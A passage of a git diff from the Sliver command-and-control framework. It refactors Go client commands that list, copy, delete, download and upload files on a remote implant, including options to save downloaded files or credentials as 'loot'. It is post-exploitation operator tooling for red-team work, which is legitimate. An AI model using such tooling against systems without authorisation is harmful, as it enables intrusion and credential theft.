help.GetHelpFor([]string{consts.CpStr}), + Args: cobra.ExactArgs(2), + Run: func(cmd *cobra.Command, args []string) { + CpCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, cpCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(cpCmd).PositionalCompletion( + carapace.ActionValues().Usage("path to source file (required)"), + carapace.ActionValues().Usage("path to dest file (required)"), + ) + + lsCmd := &cobra.Command{ + Use: consts.LsStr, + Short: "List current directory", + Long: help.GetHelpFor([]string{consts.LsStr}), + Args: cobra.RangeArgs(0, 1), + Run: func(cmd *cobra.Command, args []string) { + LsCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, lsCmd, func(f *pflag.FlagSet) { + f.BoolP("reverse", "r", false, "reverse sort order") + f.BoolP("modified", "m", false, "sort by modified time") + f.BoolP("size", "s", false, "sort by size") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(lsCmd).PositionalCompletion(carapace.ActionValues().Usage("path to enumerate (optional)")) + + rmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a file or directory", + Long: help.GetHelpFor([]string{consts.RmStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + RmCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, rmCmd, func(f *pflag.FlagSet) { + f.BoolP("recursive", "r", false, "recursively remove files") + f.BoolP("force", "F", false, "ignore safety and forcefully remove files") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(rmCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to remove")) + + mkdirCmd := &cobra.Command{ + Use: consts.MkdirStr, + Short: "Make a directory", + Long: help.GetHelpFor([]string{consts.MkdirStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + MkdirCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, mkdirCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(mkdirCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the directory to create")) + + cdCmd := &cobra.Command{ + Use: consts.CdStr, + Short: "Change directory", + Long: help.GetHelpFor([]string{consts.CdStr}), + Args: cobra.RangeArgs(0, 1), + Run: func(cmd *cobra.Command, args []string) { + CdCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, cdCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(cdCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the directory")) + + pwdCmd := &cobra.Command{ + Use: consts.PwdStr, + Short: "Print working directory", + Long: help.GetHelpFor([]string{consts.PwdStr}), + Run: func(cmd *cobra.Command, args []string) { + PwdCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, pwdCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + catCmd := &cobra.Command{ + Use: consts.CatStr, + Short: "Dump file to stdout", + Long: help.GetHelpFor([]string{consts.CatStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + CatCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, catCmd, func(f *pflag.FlagSet) { + f.BoolP("colorize-output", "c", false, "colorize output") + f.BoolP("hex", "x", false, "display as a hex dump") + f.BoolP("loot", "X", false, "save output as loot") + f.StringP("name", "n", "", "name to assign loot (optional)") + f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)") + f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(catCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print")) + + downloadCmd := &cobra.Command{ + Use: consts.DownloadStr, + Short: "Download a file", + Long: help.GetHelpFor([]string{consts.DownloadStr}), + Args: cobra.RangeArgs(1, 2), + Run: func(cmd *cobra.Command, args []string) { + DownloadCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, downloadCmd, func(f *pflag.FlagSet) { + f.BoolP("loot", "X", false, "save output as loot") + f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting") + f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting") + f.StringP("name", "n", "", "name to assign the download if looting") + f.BoolP("recurse", "r", false, "recursively download all files in a directory") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + completers.NewFlagCompsFor(downloadCmd, func(comp *carapace.ActionMap) { + (*comp)["type"] = loot.LootTypeCompleter(con) + (*comp)["file-type"] = loot.FileTypeCompleter(con) + }) + carapace.Gen(downloadCmd).PositionalCompletion( + carapace.ActionValues().Usage("path to the file or directory to download"), + carapace.ActionFiles().Usage("local path where the downloaded file will be saved (optional)"), + ) + + uploadCmd := &cobra.Command{ + Use: consts.UploadStr, + Short: "Upload a file", + Long: help.GetHelpFor([]string{consts.UploadStr}), + Args: cobra.RangeArgs(1, 2), + Run: func(cmd *cobra.Command, args []string) { + UploadCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, uploadCmd, func(f *pflag.FlagSet) { + f.BoolP("ioc", "i", false, "track uploaded file as an ioc") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(uploadCmd).PositionalCompletion( + carapace.ActionFiles().Usage("local path to the file to upload"), + carapace.ActionValues().Usage("path to the file or directory to upload to (optional)"), + ) + + memfilesCmd := &cobra.Command{ + Use: consts.MemfilesStr, + Short: "List current memfiles", + Long: help.GetHelpFor([]string{consts.MemfilesStr}), + GroupID: consts.FilesystemHelpGroup, + Run: func(cmd *cobra.Command, args []string) { + MemfilesListCmd(cmd, con, args) + }, + } + flags.Bind("", true, memfilesCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + memfilesAddCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Add a memfile", + Long: help.GetHelpFor([]string{consts.MemfilesStr, consts.AddStr}), + Run: func(cmd *cobra.Command, args []string) { + MemfilesAddCmd(cmd, con, args) + }, + } + memfilesCmd.AddCommand(memfilesAddCmd) + + memfilesRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a memfile", + Long: help.GetHelpFor([]string{consts.MemfilesStr, consts.RmStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + MemfilesRmCmd(cmd, con, args) + }, + } + memfilesCmd.AddCommand(memfilesRmCmd) + + carapace.Gen(memfilesRmCmd).PositionalCompletion(carapace.ActionValues().Usage("memfile file descriptor")) + + return []*cobra.Command{ + mvCmd, + cpCmd, + lsCmd, + rmCmd, + mkdirCmd, + pwdCmd, + catCmd, + cdCmd, + downloadCmd, + uploadCmd, + memfilesCmd, + } +} diff --git a/client/command/filesystem/cp.go b/client/command/filesystem/cp.go index 9d0fe895a9..7b6669e120 100644 --- a/client/command/filesystem/cp.go +++ b/client/command/filesystem/cp.go @@ -21,16 +21,15 @@ package filesystem import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -func CpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) (err error) { +func CpCmd(cmd *cobra.Command, con *console.SliverClient, args []string) (err error) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -50,21 +49,20 @@ func CpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) Dst: dst, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } cp.Src, cp.Dst = src, dst if cp.Response != nil && cp.Response.Async { - con.AddBeaconCallback(cp.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(cp.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, cp) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) return } }) - con.PrintAsyncResponse(cp.Response) } else { PrintCp(cp, con) } @@ -72,7 +70,7 @@ func CpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) return } -func PrintCp(cp *sliverpb.Cp, con *console.SliverConsoleClient) { +func PrintCp(cp *sliverpb.Cp, con *console.SliverClient) { if cp.Response != nil && cp.Response.Err != "" { con.PrintErrorf("%s\n", cp.Response.Err) return diff --git a/client/command/filesystem/download.go b/client/command/filesystem/download.go index 6192a9fa5e..7803c804ce 100644 --- a/client/command/filesystem/download.go +++ b/client/command/filesystem/download.go @@ -39,7 +39,7 @@ import ( "github.com/bishopfox/sliver/util/encoders" ) -func DownloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func DownloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -58,11 +58,11 @@ func DownloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if download.Response != nil && download.Response.Async { - con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(download.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, download) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -70,7 +70,6 @@ func DownloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } HandleDownloadResponse(download, cmd, args, con) }) - con.PrintAsyncResponse(download.Response) } else { HandleDownloadResponse(download, cmd, args, con) } @@ -104,7 +103,7 @@ func prettifyDownloadName(path string) string { return filteredString } -func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, args []string, con *console.SliverConsoleClient) { +func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, args []string, con *console.SliverClient) { var err error if download.Response != nil && download.Response.Err != "" { con.PrintErrorf("%s\n", download.Response.Err) diff --git a/client/command/filesystem/ls.go b/client/command/filesystem/ls.go index 28e56348f4..578dac9ff5 100644 --- a/client/command/filesystem/ls.go +++ b/client/command/filesystem/ls.go @@ -27,10 +27,9 @@ import ( "text/tabwriter" "time" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" "github.com/spf13/pflag" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" @@ -38,8 +37,8 @@ import ( "github.com/bishopfox/sliver/util" ) -// LsCmd - List the contents of a remote directory -func LsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// LsCmd - List the contents of a remote directory. +func LsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -61,7 +60,7 @@ func LsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) return } if ls.Response != nil && ls.Response.Async { - con.AddBeaconCallback(ls.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(ls.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, ls) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -69,14 +68,13 @@ func LsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } PrintLs(ls, cmd.Flags(), con) }) - con.PrintAsyncResponse(ls.Response) } else { PrintLs(ls, cmd.Flags(), con) } } -// PrintLs - Display an sliverpb.Ls object -func PrintLs(ls *sliverpb.Ls, flags *pflag.FlagSet, con *console.SliverConsoleClient) { +// PrintLs - Display an sliverpb.Ls object. +func PrintLs(ls *sliverpb.Ls, flags *pflag.FlagSet, con *console.SliverClient) { if ls.Response != nil && ls.Response.Err != "" { con.PrintErrorf("%s\n", ls.Response.Err) return diff --git a/client/command/filesystem/memfiles-add.go b/client/command/filesystem/memfiles-add.go index 2183298574..7a7d00d324 100644 --- a/client/command/filesystem/memfiles-add.go +++ b/client/command/filesystem/memfiles-add.go @@ -28,8 +28,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// MemfilesAddCmd - Add memfile -func MemfilesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// MemfilesAddCmd - Add memfile. +func MemfilesAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -39,11 +39,11 @@ func MemfilesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if memfilesAdd.Response != nil && memfilesAdd.Response.Async { - con.AddBeaconCallback(memfilesAdd.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(memfilesAdd.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, memfilesAdd) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -51,14 +51,13 @@ func MemfilesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ } PrintAddMemfile(memfilesAdd, con) }) - con.PrintAsyncResponse(memfilesAdd.Response) } else { PrintAddMemfile(memfilesAdd, con) } } -// PrintAddMemfile - Print the memfiles response -func PrintAddMemfile(memfilesAdd *sliverpb.MemfilesAdd, con *console.SliverConsoleClient) { +// PrintAddMemfile - Print the memfiles response. +func PrintAddMemfile(memfilesAdd *sliverpb.MemfilesAdd, con *console.SliverClient) { if memfilesAdd.Response != nil && memfilesAdd.Response.Err != "" { con.PrintErrorf("%s\n", memfilesAdd.Response.Err) return diff --git a/client/command/filesystem/memfiles-list.go b/client/command/filesystem/memfiles-list.go index e868a440c4..5e5df721a0 100644 --- a/client/command/filesystem/memfiles-list.go +++ b/client/command/filesystem/memfiles-list.go @@ -34,8 +34,8 @@ import ( "github.com/bishopfox/sliver/util" ) -// MemfilesListCmd - List memfiles -func MemfilesListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// MemfilesListCmd - List memfiles. +func MemfilesListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -45,11 +45,11 @@ func MemfilesListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if memfilesList.Response != nil && memfilesList.Response.Async { - con.AddBeaconCallback(memfilesList.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(memfilesList.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, memfilesList) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -57,14 +57,13 @@ func MemfilesListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } PrintMemfiles(memfilesList, con) }) - con.PrintAsyncResponse(memfilesList.Response) } else { PrintMemfiles(memfilesList, con) } } -// PrintMemfiles - Display an sliverpb.Ls object -func PrintMemfiles(ls *sliverpb.Ls, con *console.SliverConsoleClient) { +// PrintMemfiles - Display an sliverpb.Ls object. +func PrintMemfiles(ls *sliverpb.Ls, con *console.SliverClient) { if ls.Response != nil && ls.Response.Err != "" { con.PrintErrorf("%s\n", ls.Response.Err) return diff --git a/client/command/filesystem/memfiles-rm.go b/client/command/filesystem/memfiles-rm.go index 169b3ec0ad..c10b1297ec 100644 --- a/client/command/filesystem/memfiles-rm.go +++ b/client/command/filesystem/memfiles-rm.go @@ -29,8 +29,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// MemfilesRmCmd - Remove a memfile -func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// MemfilesRmCmd - Remove a memfile. +func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -49,11 +49,11 @@ func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] Fd: fdInt, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if memfilesList.Response != nil && memfilesList.Response.Async { - con.AddBeaconCallback(memfilesList.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(memfilesList.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, memfilesList) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -61,14 +61,13 @@ func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] } PrintRmMemfile(memfilesList, con) }) - con.PrintAsyncResponse(memfilesList.Response) } else { PrintRmMemfile(memfilesList, con) } } -// PrintRmMemfile - Remove a memfile -func PrintRmMemfile(memfilesList *sliverpb.MemfilesRm, con *console.SliverConsoleClient) { +// PrintRmMemfile - Remove a memfile. +func PrintRmMemfile(memfilesList *sliverpb.MemfilesRm, con *console.SliverClient) { if memfilesList.Response != nil && memfilesList.Response.Err != "" { con.PrintErrorf("%s\n", memfilesList.Response.Err) return diff --git a/client/command/filesystem/mkdir.go b/client/command/filesystem/mkdir.go index e759f56f28..f77e387f6e 100644 --- a/client/command/filesystem/mkdir.go +++ b/client/command/filesystem/mkdir.go @@ -21,17 +21,16 @@ package filesystem import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// MkdirCmd - Make a remote directory -func MkdirCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// MkdirCmd - Make a remote directory. +func MkdirCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -50,11 +49,11 @@ func MkdirCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin Path: filePath, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if mkdir.Response != nil && mkdir.Response.Async { - con.AddBeaconCallback(mkdir.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(mkdir.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, mkdir) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -62,14 +61,13 @@ func MkdirCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin } PrintMkdir(mkdir, con) }) - con.PrintAsyncResponse(mkdir.Response) } else { PrintMkdir(mkdir, con) } } -// PrintMkdir - Print make directory -func PrintMkdir(mkdir *sliverpb.Mkdir, con *console.SliverConsoleClient) { +// PrintMkdir - Print make directory. +func PrintMkdir(mkdir *sliverpb.Mkdir, con *console.SliverClient) { if mkdir.Response != nil && mkdir.Response.Err != "" { con.PrintErrorf("%s\n", mkdir.Response.Err) return diff --git a/client/command/filesystem/mv.go b/client/command/filesystem/mv.go index 61aa523f70..aecf3af637 100644 --- a/client/command/filesystem/mv.go +++ b/client/command/filesystem/mv.go @@ -21,16 +21,15 @@ package filesystem import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -func MvCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) (err error) { +func MvCmd(cmd *cobra.Command, con *console.SliverClient, args []string) (err error) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -56,29 +55,28 @@ func MvCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) Dst: dst, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } mv.Src, mv.Dst = src, dst if mv.Response != nil && mv.Response.Async { - con.AddBeaconCallback(mv.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(mv.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, mv) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) return } }) - con.PrintAsyncResponse(mv.Response) } else { PrintMv(mv, con) } return } -// PrintMv - Print the renamed file -func PrintMv(mv *sliverpb.Mv, con *console.SliverConsoleClient) { +// PrintMv - Print the renamed file. +func PrintMv(mv *sliverpb.Mv, con *console.SliverClient) { if mv.Response != nil && mv.Response.Err != "" { con.PrintErrorf("%s\n", mv.Response.Err) return diff --git a/client/command/filesystem/pwd.go b/client/command/filesystem/pwd.go index 865de3bd8c..24115a5179 100644 --- a/client/command/filesystem/pwd.go +++ b/client/command/filesystem/pwd.go @@ -21,17 +21,16 @@ package filesystem import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// PwdCmd - Print the remote working directory -func PwdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// PwdCmd - Print the remote working directory. +func PwdCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -40,11 +39,11 @@ func PwdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if pwd.Response != nil && pwd.Response.Async { - con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(pwd.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, pwd) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -52,14 +51,13 @@ func PwdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } PrintPwd(pwd, con) }) - con.PrintAsyncResponse(pwd.Response) } else { PrintPwd(pwd, con) } } -// PrintPwd - Print the remote working directory -func PrintPwd(pwd *sliverpb.Pwd, con *console.SliverConsoleClient) { +// PrintPwd - Print the remote working directory. +func PrintPwd(pwd *sliverpb.Pwd, con *console.SliverClient) { if pwd.Response != nil && pwd.Response.Err != "" { con.PrintErrorf("%s\n", pwd.Response.Err) return diff --git a/client/command/filesystem/rm.go b/client/command/filesystem/rm.go index 72fc88b40d..c5eb4262f0 100644 --- a/client/command/filesystem/rm.go +++ b/client/command/filesystem/rm.go @@ -21,17 +21,16 @@ package filesystem import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// RmCmd - Remove a directory from the remote file system -func RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// RmCmd - Remove a directory from the remote file system. +func RmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -55,11 +54,11 @@ func RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) Force: force, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if rm.Response != nil && rm.Response.Async { - con.AddBeaconCallback(rm.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(rm.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, rm) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -67,14 +66,13 @@ func RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } PrintRm(rm, con) }) - con.PrintAsyncResponse(rm.Response) } else { PrintRm(rm, con) } } -// PrintRm - Print the rm response -func PrintRm(rm *sliverpb.Rm, con *console.SliverConsoleClient) { +// PrintRm - Print the rm response. +func PrintRm(rm *sliverpb.Rm, con *console.SliverClient) { if rm.Response != nil && rm.Response.Err != "" { con.PrintErrorf("%s\n", rm.Response.Err) return diff --git a/client/command/filesystem/upload.go b/client/command/filesystem/upload.go index 9e163699dc..fe6f88f312 100644 --- a/client/command/filesystem/upload.go +++ b/client/command/filesystem/upload.go @@ -25,9 +25,8 @@ import ( "os" "path/filepath" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" @@ -35,8 +34,8 @@ import ( "github.com/bishopfox/sliver/util/encoders" ) -// UploadCmd - Upload a file to the remote system -func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// UploadCmd - Upload a file to the remote system. +func UploadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -92,11 +91,11 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if upload.Response != nil && upload.Response.Async { - con.AddBeaconCallback(upload.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(upload.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, upload) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -104,14 +103,13 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri } PrintUpload(upload, con) }) - con.PrintAsyncResponse(upload.Response) } else { PrintUpload(upload, con) } } -// PrintUpload - Print the result of the upload command -func PrintUpload(upload *sliverpb.Upload, con *console.SliverConsoleClient) { +// PrintUpload - Print the result of the upload command. +func PrintUpload(upload *sliverpb.Upload, con *console.SliverClient) { if upload.Response != nil && upload.Response.Err != "" { con.PrintErrorf("%s\n", upload.Response.Err) return diff --git a/client/command/flags/flags.go b/client/command/flags/flags.go new file mode 100644 index 0000000000..99bcdfe936 --- /dev/null +++ b/client/command/flags/flags.go @@ -0,0 +1,52 @@ +package flags + +import ( + "strings" + + "github.com/reeflective/console" + "github.com/spf13/cobra" + "github.com/spf13/pflag" +) + +const ( + DefaultTimeout = 60 +) + +// Bind is a convenience function to bind flags to a command, through newly created +// pflag.Flagset type. This function can be called any number of times for any command. +// desc - An optional name for the flag set (can be empty, but might end up useful). +// persistent - If true, the flags bound will apply to all subcommands of this command. +// cmd - The pointer to the command the flags should be bound to. +// flags - A function using this flag set as parameter, for you to register flags. +func Bind(desc string, persistent bool, cmd *cobra.Command, flags func(f *pflag.FlagSet)) { + flagSet := pflag.NewFlagSet(desc, pflag.ContinueOnError) + flags(flagSet) + + if persistent { + cmd.PersistentFlags().AddFlagSet(flagSet) + } else { + cmd.Flags().AddFlagSet(flagSet) + } +} + +// RestrictTargets generates a cobra annotation map with a single console.CommandHiddenFilter key +// to a comma-separated list of filters to use in order to expose/hide commands based on requirements. +// Ex: cmd.Annotations = RestrictTargets("windows") will only show the command if the target is Windows. +// Ex: cmd.Annotations = RestrictTargets("windows", "beacon") show the command if target is a beacon on Windows. +func RestrictTargets(filters ...string) map[string]string { + if len(filters) == 0 { + return nil + } + + if len(filters) == 1 { + return map[string]string{ + console.CommandFilterKey: filters[0], + } + } + + filts := strings.Join(filters, ",") + + return map[string]string{ + console.CommandFilterKey: filts, + } +} diff --git a/client/command/generate/canaries.go b/client/command/generate/canaries.go index e2a9ff240f..9113dc4151 100644 --- a/client/command/generate/canaries.go +++ b/client/command/generate/canaries.go @@ -13,8 +13,8 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// CanariesCmd - Display canaries from the database and their status -func CanariesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CanariesCmd - Display canaries from the database and their status. +func CanariesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { canaries, err := con.Rpc.Canaries(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("Failed to list canaries %s", err) @@ -28,10 +28,11 @@ func CanariesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } } -// PrintCanaries - Print the canaries tracked by the server -func PrintCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) { +// PrintCanaries - Print the canaries tracked by the server. +func PrintCanaries(con *console.SliverClient, canaries []*clientpb.DNSCanary, burnedOnly bool) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Sliver Name", "Domain", diff --git a/client/command/generate/commands.go b/client/command/generate/commands.go new file mode 100644 index 0000000000..d00de75c65 --- /dev/null +++ b/client/command/generate/commands.go @@ -0,0 +1,338 @@ +package generate + +import ( + "github.com/rsteube/carapace" + 